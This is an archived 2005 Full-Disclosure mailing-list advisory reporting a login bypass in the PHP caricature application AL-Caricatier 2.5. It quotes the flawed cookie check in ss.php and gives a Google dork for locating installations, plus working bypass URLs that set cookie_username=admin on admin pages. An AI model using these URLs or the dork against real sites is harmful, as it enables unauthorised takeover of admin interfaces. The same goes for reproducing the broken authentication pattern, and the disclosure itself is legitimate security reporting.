full-disclosure - Vulnerability in AL-Caricatier, V.2.5 And Prior Versions

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <470c3dd0510220941q1e3fadd1p1fe5e38195887d5b@mail.gmail.com>
Date: Sat Oct 22 17:41:14 2005
From: mohajali2k4 at gmail.com (God Of Death (G.O.D))
Subject: Vulnerability in AL-Caricatier,
	V.2.5 And Prior Versions

Vulnerability in AL-Caricatier,V.2.5

Hello...
i found a vulneribility in an program called AL-Caricatier it's an

arabic program

site:
http://www.php-ar.com

Vulnerability:
Login Bypass

GoogleDork:
inurl:view_caricatier. php

Vunlerability in an included file called ss.php which resides in

the admin directory...

if($cookie_username){
echo"";
}else{
echo"<font face='tahoma' size='2'>You Didn't Sign in ?? ??? ??????

??????</b>";
echo"<meta http-equiv='Refresh' content='1;

url=admin_login.php'>";
EXIT;
}

the admin directory is protected user and password but u can

bypass them by going to this link:

www.victim.com/view_caricatier.php<http://www.victim.com/view_caricatier.php>

To bypass:
www.victim.com/admin/welcome.php?cookie_username=admin<http://www.victim.com/admin/welcome.php?cookie_username=admin>
or any of the admin files instead of welcome.php
like :
add-flashFile.php
caricatier_add.php
delete_cat.php

and u r in the admin interface...




--
(r).....Now I Am Become Death....The Destroyer Of Worlds.....The Creator oF
Genuises....(c)
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20051022/fe7e4dd4/attachment.html